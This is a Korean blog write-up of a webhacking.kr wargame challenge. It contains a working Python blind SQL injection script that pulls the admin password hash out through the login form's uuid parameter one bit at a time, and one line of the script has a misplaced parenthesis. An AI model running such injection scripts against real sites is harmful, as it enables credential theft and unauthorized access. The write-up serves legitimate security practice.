반응형

우선 ID와 PW를 test로 하여 회원가입을 하고 로그인을 시도하였다.

로그인 시 uuid 파라미터와 pw 파라미터에 SQL Injection을 시도한 결과 uuid 파라미터에서 터지는 것을 확인하였다.


먼저 간단하게 admin으로 로그인하기 위해 다음과 같이 시도하였지만 Wrong password!라고 떴다.


그래서 해당 문제를 풀기 위해서는 Blind SQL Injection을 통해 admin의 PW를 획득해야 함을 추측할 수 있다.


우선 조건이 참일 경우에는 다음과 같이 Wrong password!라고 출력된다.


조건이 거짓일 경우에는 Login Fail이라고 뜬다.


이 둘의 차이를 이용하여 admin의 PW의 hash 값을 찾을 수 있다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
 
url="https://webhacking.kr/challenge/bonus-2/index.php"
flag=""
req_header = {'Content-Type':'application/x-www-form-urlencoded'}
 
for i in range(1,33):
    binary=''
    for j in range(1,8):
        req_data = {
            "uuid":"' or id='admin' and 1=substr(lpad(bin(ascii(substr(pw,"+str(i)+",1))),7,0),"+str(j)+",1)#",
            "pw":"test"
        }
 
        response = requests.post(url,data=req_data)
        print(response.request.body)
 
        if('Wrong' in response.text):
            binary+='1'
        else:
            binary+='0'
        print(binary)
 
    b2i = int(binary, 2)  # 문자열을 2진수로 변경
    flag = flag + b2i.to_bytes((b2i.bit_length() + 7// 8,
                               'big').decode()  # to_bytes 함수를 이용하여 1자리 수의 b2i를 byte 형태로 변경 후 유니코드로 변환
    print("[+] " + flag)
 
print("[+]Final Flag : " + flag)
 
cs

결과로 출력된 해시값을 decrypt 해주면 PW가 출력된다. 접미사인 apple을 제외하고 로그인하면 solve!


반응형

'Solve Problem > Webhacking.kr' 카테고리의 다른 글

webhacking.kr old-13 writeup  (0) 2020.04.22
webhacking.kr old-08 writeup  (0) 2020.04.21
webhacking.kr old-07 writeup  (0) 2020.04.21
webhacking.kr old-06 writeup  (0) 2020.04.21
webhacking.kr old-02 writeup  (0) 2020.04.21
블로그 이미지

rootable

,